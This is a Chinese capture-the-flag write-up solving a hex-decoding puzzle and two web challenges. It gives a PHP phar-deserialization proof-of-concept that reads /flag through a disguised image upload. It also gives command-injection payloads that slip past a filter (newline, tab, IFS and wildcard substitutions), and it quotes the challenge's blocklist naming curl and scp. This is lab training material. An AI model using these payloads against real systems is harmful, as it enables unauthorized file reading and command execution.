misc

5_简单的Base

十六进制转一下字符串即可

666c61677b57656c636f6d655f686572657d

flag{Welcome_here}

web

5_web_BaliYun

考点:phar反序列化

经过目录扫描发现 www.zip

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}

public function start(){
return $this->check();
}

private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}

private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}

public function __wakeup(){
echo file_get_contents($this->filename);
}
}


class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}

public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}

public function __wakeup(){
echo file_get_contents($this->filename);
}

因为这里存在wakeup函数,但是又不存在反序列化的点,所以我们使用phar反序列化

1
我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在2020年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php


class upload{
public $filename="/flag"; //要读取的文件
public function __wakeup(){
echo file_get_contents($this->filename);
}
}

$o = new upload();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行此文件,会生成一个shell.phar文件,然后我们将shell.phar,改为jpg文件上传上去,
路径为 upload/shell.jpg

借助phar://执行代码
img_name=phar://upload_file/phar.gif

5_web_letmeguess_1

考点:弱口令,rce,过滤目录分隔符/)、 空格

爆破一下 admin,admin123
过滤的分隔符linux中一些命令分隔符:%0a 、%0d 、; 、& 、| 、&&、||
过滤的空格,可以用%09(tab)、%09、 ${IFS}、$IFS、$IFS$1、${IFS}$、<、<>这些都可以当做空格符作为代替。
过滤了cat,可以用 nl,nl:显示的时候,顺便输出行号
ip=%0anl%09index.php
可以读取源码,太长,贴一下关键

1
if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) 

ip=%0als ls的时候有一个kylin目录,目录下有一个flag.txt ,但是不能访问
且kylin,flag都被过滤了,我们用问号替换其中一个字符即可
绕过目录分隔符的话,先cd 到这个目录,再去cat即可

/?ip=%0acd%09ky?in%0anl%09f?ag.txt
解法不唯一

参考 phar反序列化
https://www.cnblogs.com/zzjdbk/p/13030571.html

总结

一直在路上